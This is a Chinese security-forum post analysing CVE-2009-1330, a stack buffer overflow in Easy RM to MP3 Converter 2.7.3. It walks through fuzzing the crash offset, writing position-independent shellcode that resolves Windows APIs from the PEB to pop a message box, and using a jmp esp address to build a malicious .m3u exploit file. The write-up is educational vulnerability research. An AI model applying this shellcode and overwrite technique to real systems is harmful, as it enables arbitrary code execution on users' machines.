看雪论坛
发新帖
1

[原创]Easy RM to MP3 Converterv2.7.3(CVE-2009-1330) 个人漏洞分析报告

RedOrange 2017-2-27 16:10 298

//------------------------------------------------------------

//

//    个人学习二进制漏洞挖掘时写的漏洞报告总结,算作是项目总结

//    研究的类型包括:缓冲区溢出、UAF漏洞、类型混淆

//    包括内容如下:

//    基本的漏洞成因

//    调试工具的使用

//    shellcode(弹框、bindshell)的编写以及改进

//    SEH常识

//    exploit的编写

//    堆喷射

//    ASLR/DEP的基本常识

//    ROP链的构造等

//

//    本来是发到MottoIn上的一些投稿,因为错过了时间,所以发到看雪上接收批评

//    最近在研究渗透以及安卓,驱动也没研究完。。。个人时间比较紧,有空再整理成单独的教程

//------------------------------------------------------------


这个漏洞是0day书上的标准缓冲区漏洞,PoC实现也非常简单,很多人也都研究过了,我简单的整理一下个人的思路,以及本文所涵盖的内容。

这篇包含了弹窗shellcode的编写以及exploit的实现,超出了一篇漏洞报告所涵盖的内容,写的时候没考虑太多,有空再整理。

很早之前写的东西,有些概念理解错误,之后更正。

可直接下载附件

---

以下正文:


Easy RM to MP3 Converterv2.7.3CVE-2009-1330

漏洞分析报告

 

软件名称Easy RM to MP3 Converter

软件版本2.7.3

漏洞模块RM2MP3Converter.exe

模块版本

编译日期2006-09-29

操作系统Windows XP/2003/7/8.1/10

漏洞编号CVE-2009-1330

危害等级:中危

漏洞类型:缓冲区溢出

威胁类型:本地

 

分析人:Red_0range

20161225

 

 

 

1.   软件简介

Easy RM to MP3 Converter05-06年流行的一款体积较小的轻量级音频转换软件。

支持常用音频格式文件MP3 WMA WAV OGG等之间的转换


软件界面

2.   漏洞成因

Easy RM to MP3 Converter(version 273700) 加载畸形过长的。m3u文件时触发缓冲区溢出

3.   利用过程

3.0. 概览

构造畸形过长,m3u文件,软件加载文件后跳转到指定代码,执行弹出对话框操作

(根据shellcode决定)


软件漏洞利用示例

3.1. 相关知识说明

3.1.1.     缓冲区溢出

缓冲区溢出可以分为堆溢出和栈溢出, 堆跟栈是两片不同架构的内存区域。

 堆:程序运行时动态申请而分配的空间,大小不固定,可动态扩展。特点是需要主动申请:例如c语言中的malloc函数,申请的内存添加到堆上,堆被扩大。 主动释放:例如free函数,假如不主动释放,就会造成内存泄漏。

栈: 栈在程序运行时自动产生,负责保存进程的运行上下文,当函数调用时,逻辑上会在栈中开辟一块新区域, 我们称之为栈帧(stack frame),栈帧内保存调用的参数、返回值,包括上一级函数的返回地址。例如:

void test(){

    …

}

main(){

    test();

    …

}

例如main函数中调用test函数,假如有参数 逻辑上新建的栈帧中会保存参数,并且会保存main函数的地址,test函数执行完成后用来返回到main函数,回到原先的栈帧。然后继续执行下面的代码。

逻辑上新开辟的栈帧已经消失,但物理保存的数据并不会消失, 栈的溢出原理就是参数的值超出了缓冲区的大小,覆盖了返回地址,函数调用完成后,返回到了攻击者指定的地址去执行代码。

简单的来说,如果我们输入的数据长度超过了开发人员定义的缓冲区,那么这个数据就可以覆盖掉EIPEIP是指令寄存器,它存放当前指令的下一条指令的地址。如果它被来自用户输入的垃圾数据覆盖了,程序通常会崩溃,因为它跳转到的地址并尝试指向,但执行的并不是有效的指令。


典型的内存布局


输入超过用户缓冲区


开发人员错误处理-输入覆盖缓冲区和EIP,导致它跳转到无效的内存地址,程序崩溃

3.1.2.     SEH

SHEwindows提供的异常处理机制之一

Windowsr3环境下应用异常处理流程为:
1
 交给调试器(进程必须被调试)
2
 执行VEH
3
 执行SEH
4
 TopLevelEH(进程被调试时不会被执行)
5
 交给调试器(上面的异常处理都说处理不了,就再次交给调试器)
6
 调用异常端口通知csrssexe


Windows异常处理流程

具体在程序中表示为,当程序发生异常崩溃时,系统会弹出对话框并调用调试器,其中EIP指向错误的返回地址,因此触发缓冲区异常操作的常用手段之一即为返回地址淹没。

用程序演示得到下图的结果:


x32dbg接管调试程序,可以看到程序的EIP被用户输入的数据淹没

 

3.1.3.      相关术语

Fuzz

模糊性检测,即构造一系列无规则的“坏”数据插入应用程序,判断程序是否出现异常,以发现潜在的bug

Shellcode

Shellcode是一填充数据,针对特定漏洞填充触发相应操作

Payload

Payload是指除了触发异常的数据之外汇编代码的机器码二进制数据

Exploit

出发漏洞并完成攻击的整体流程

POC

Proof of Concept概念证明,软件漏洞触发的原因和利用,以及个人shellcode编写

4.   POC

4.1. Fuzz

已知软件加载超过45kbm3u文件会触发异常。

构造>45kb相应的.m3u文件,并使用软件加载,观察触发异常的位置,并使用二分法逐渐缩减范围


不断缩小范围,最终确定程序在F111处触发

4.2. Shellcode编写

相应的攻击代码使用了vs2015的内联汇编,并用了release版进行编译。

Shellcode编写流程:

GetPC硬编码字符串

加载通用模块kernel32.dll/kernelbase.dll

在模块导出表获取LoadLibrary函数

在模块导出表获取GetProcAddress函数

加载user32.dll模块

通过GetProcAddress获取MessageBoxA函数地址

通过GetProcAddress获取ExitProcess函数地址

调用MessageBoxA

调用ExitProcess

4.2.1.     GetPC

GetPC,也即Get Program Counter,取得程序计数器的值,在x86下就是GetEIP了,其作用是在进程的内存空间中得到当前的EIP的值,通常用于需要对代码自身进行操作的场合下,比如自解码和自修改代码(更一般的来说常见于病毒、溢出攻击代码等,也称之为代码重定位技术)。

代码示例:

//GetProcAddress\0

        /*47 65 74 50 72 6F 63 41 64 64 72 65 73 73 */

        //-0x14

        _asm _emit(0x47)     _asm _emit(0x65)     _asm _emit(0x74)     _asm _emit(0x50)

        _asm _emit(0x72)     _asm _emit(0x6F)     _asm _emit(0x63)     _asm _emit(0x41)

        _asm _emit(0x64)     _asm _emit(0x64)     _asm _emit(0x72)     _asm _emit(0x65)

        _asm _emit(0x73)     _asm _emit(0x73)    _asm _emit(0x00)

        __ShellCode:

                   //GetPC

                   call GETPC

                       GETPC :

                pop edx                      // edx==储存当前eip     

4.2.2.           获取kernel32.dll/kernelbase.dll的地址

由于我们需要动态获取LoadLibraryA()以及ExitProcess()这两个函数的地址,而这两个函数又是存在于kernel32.dll中的,因此这里需要先找到kernel32.dll的地址,然后通过对其进行解析,从而查找那两个函数。

        所有的Win32程序都会自动加载ntdll.dll以及kernel32.dll这两个最基础的动态链接库。(64位系统中,kernel32.dll的地址由kernelbase.dll所代替)

因此如果想要在 64位平台下定位kernelbase.dll中的API地址,可以使用如下方法(以下结合WinDbg演示,以64位系统为例):


// [PEB_LDR_DATA+0x1C]InInitializationOrderModuleList的位置

// 进入链表第一个就是ntdll.dll


// 第二个节点保存的是kernelbase.dll的基地址

 

 

相应的代码示例:

                       mov     ebx, fs : [0x30]                  // [TEB+0x30]是PEB的位置 
                       mov     ecx, [ebx + 0xC]                  // [PEB+0xC]是PEB_LDR_DATA的位置 
                       mov     ecx, [ecx + 0x1C]                 // [PEB_LDR_DATA+0x1C]是InInitializationOrderModuleList的位置 
                       mov     ecx, [ecx]                               // 进入链表第一个就是ntdll.dll 
                    mov     ebp, [ecx + 0x8]                  // ebp保存的是kernelbase.dll的基地址


 

4.2.3.     解析kernel32.dll/kernelbase.dll导出表

找到了kernel32.dll,由于它也是属于PE文件,那么我们可以根据PE文件的结构特征,对其导出表进行解析,不断遍历搜索,从而找到我们所需要的API函数。其步骤如下:

        1)从kernel32.dll加载基址算起,偏移0x3c的地方就是其PE头。

        2PE头偏移0x78的地方存放着指向函数导出表的指针。

        3)至此,可以按如下方式在函数导出表中算出所需函数的入口地址:

        ● 导出表偏移0x1c处的指针指向存储导出函数偏移地址(RVA)的列表。

        ● 导出表偏移0x20处的指针指向存储导出函数函数名的列表。

        ● 函数的RVA地址和名字按照顺序存放在上述两个列表中,我们可以在名称列表中定位到所需的函数是第几个,然后在地址列表中找到对应的RVA

        ● 获得RVA后,再加上前边已经得到的动态链接库的加载地址,就获得了所需API此刻在内存中的虚拟地址,这个地址就是我们最终在ShellCode中调用时需要的地址。

        按照这个方法,就可以获得kernel32.dll中的任意函数。

需要注意的是,kernelbase.dll中没有LoadLibrary这个函数,取而代之的是LoadLibraryExA这个函数。Kernelbase.dllkernel32.dll之间存在一些映射关系,函数地址可能会不一样。同时Kernelbase.dll对比kernel32.dll缺少一部分函数,因此对于64位系统,一般在加载kernelbase.dll之后再度使用LoadLibraryExA加载kernel32.dll,以增强代码的健壮性。(下面代码中未做这方面的处理)

相应代码示例:

                  __GetExportTable :
                       mov     eax, [ebp + 0x3C]                 // eax==elfanew==指向pe头
                       mov     ecx, [ebp + eax + 0x78]           // 导出表的指针     
                       add     ecx, ebp
                       mov     ebx, [ecx + 0x20]                 // 导出函数的名字列表
                       mov     eax, [ecx + 0x14]                 // eax==numberoffuncs   
                       add     ebx, ebp                                 // ebx==函数名地址,AddressOfNames
                       __LoopGetProcAddressFunc :
                   /*
                   //输入:
                   eax==numberoffuncs
                   ebx==函数名地址,AddressOfNames
                   ebp==kernelbase.dll首地址
                   ecx==导出表地址
                   */
                   dec           eax
                       mov           esi, [ebx + eax * 4]      //表示函数名称
                       add           esi, ebp               //找到的函数名称,此处可以修改repe cmpsd修改
                       mov           edi, [edx - 0x14]
                       cmp[esi], edi                        //GetP (reverse)
                       jnz           __LoopGetProcAddressFunc
                       mov           edi, [edx - 0x14 + 0x4]
                       cmp[esi + 4], edi               //rocA (reverse)
                       jnz           __LoopGetProcAddressFunc
                       mov           edi, [edx - 0x14 + 0x8]
                       cmp[esi + 8], edi                    //ddre (reverse)
                       jnz           __LoopGetProcAddressFunc
                       mov           edi, [edx - 0x14 + 0xB]
                       cmp[esi + 0xB], edi                  //ess. (reverse)
                       jnz           __LoopGetProcAddressFunc
                       mov           ebx, [ecx + 0x24]
                       add           ebx, ebp                          //ebx==AddressOfNameOrdinals
                       mov           ax, [ebx + eax * 2]                   //eax==计算出序号的值//AddressOfNameOrdinals指向WORD数组
                       mov           ebx, [ecx + 0x1C]
                       add           ebx, ebp                          //ebx==AddressOfFunctions
                       mov           edi, [ebx + eax * 4]           //利用序号值,得到出GetProcAddress的地址 
                       add           edi, ebp
                       mov           esi, edi                                  //esi==GetProcAddress
                       __GetLoadLibraryA :
                   /*
                   //输入:
                   esi==GetProcAddress
                   ebp==kernelbase.dll首地址
                   */
                   lea           eax, [edx - 0x21]           //LoadLibraryA 字符串地址
                       push   edx                                      //保存寄存器变量
                       push   eax
                       push   ebp
                       call   esi                                      //GetProcAddress     
                       mov     ebx, eax                                 //ebx==LoadLibraryA地址


 

4.2.4.     获取user32.dll

GetProcAddress函数第一个参数为模块句柄,而MessageBoxA存在于user32.dll模块中

示例代码:

__GetLoadLibraryA :
                       /*
                       //输入:
                       ebx==LoadLibraryA地址
                       */
 lea    eax, [edx - 0x2C] //eax==”user32.dll\0”
                       push   eax
                       call   ebx            //LoadLibraryA
                       mov    edi, eax                                  //edi==LoadLibraryA("user32.dll")//hModule


4.2.5.     调用MessageBoxA

__callMessageboxA:
       /*
       //输入:
       edx==字符串数组指针
       ebx==MessageBoxA     0x753f87b0
       */
           lea           ecx, [edx - 0x4C] //”warning\0”
           lea           esi, [edx - 0x60]  //”Hacked by Red_Magic\0”
           push   0
           push   ecx
           push   esi
           push   0
call   ebx


 

 

 

4.2.6.     扣取Shellcode&拼接文件

将项目使用release编译,并在起始位置和结尾处进行nop填充方便扣取shellcode

(项目用release编译main函数在OD中位于最上方,而debug版编译需要经过两个跳转)

 


编译选项设置如图

禁用安全检查确保程序能够正常编译,禁用优化选项确保编译器不会对你的汇编代码进行错误的修改。


可以看到0x0038100c地址即为我们代码的起始位置


0x0038110D为代码的结束位置,选择数据窗口中跟随,在数据窗口中使用ctrl+shift+c将机器码到文件中

 

 

另外,关于跳板技术——jmp esp的介绍:

“jmp esp”常被用作跳板动态定位shellcode ,原理如下:

1) 用内存中任意一个”jmp esp”的地址覆盖返回地址

2) 函数返回后被重定向去执行内存中jmp esp指令

3) 由于函数返回后ESP指向返回地址后,jmp esp执行后,CPU将到栈区函数返回地址之后的地方取指令执行

4) shellcode的布置。缓冲区前面一段用任意数据填充,把shellcode放在函数返回地址后面。jmp esp执行完就执行shellcode

即程序在执行完jmp esp之后执行我们的shellcode数据

Jmp esp可以在程序运行时的内存中查找,也可以选择操作系统本身,这里提供一个windows中文操作系统通杀地址:

0x7ffa4512

       这个指令地址可以在windbg下使用 s -w 0x70000000 L0x7ffffff e4ff 这条指令进行搜索

e4ffjmp esp的机器码的倒数

12 45 FA 7F 替换上文出现的溢出点F111并在之后添加shellcode即完成了shellcode的组装


加载文件,程序即弹出对话框

5.   漏洞成因分析

OD调试程序,观察程序何时崩溃,然后跟一下. 发现下面这个函数里面崩溃.


跟进代码:


就是0041E3F0call dword ptr [ebx+6472] 里面代码出问题

这边开的Buffer0x880*4=0x2200

结果我们的文件用30000个字节, 给撑爆了. 覆盖了返回地址,典型的缓冲区溢出漏洞.

 

6.   参考资料

《高端调试》张银奎    

0day安全:软件漏洞分析技术(第2版)》 王清      


上传的附件:
最新回复 (2)
YP星星 2017-3-15 15:40
2
感谢分享! 在定位溢出点部分,可以使用Metasploit里面的pattern_create.rb工具,比二分法快些
1
RedOrange 2017-3-22 14:22
3
YP星星 感谢分享! 在定位溢出点部分,可以使用Metasploit里面的pattern_create.rb工具,比二分法快些
这篇是示范用的,一般我用mona,二分法哈哈挺古老
返回



©2000-2017 看雪学院 | Based on Xiuno BBS | 知道创宇带宽支持 | 微信公众号:ikanxue
Time: 0.011, SQL: 8 / 京ICP备10040895号-17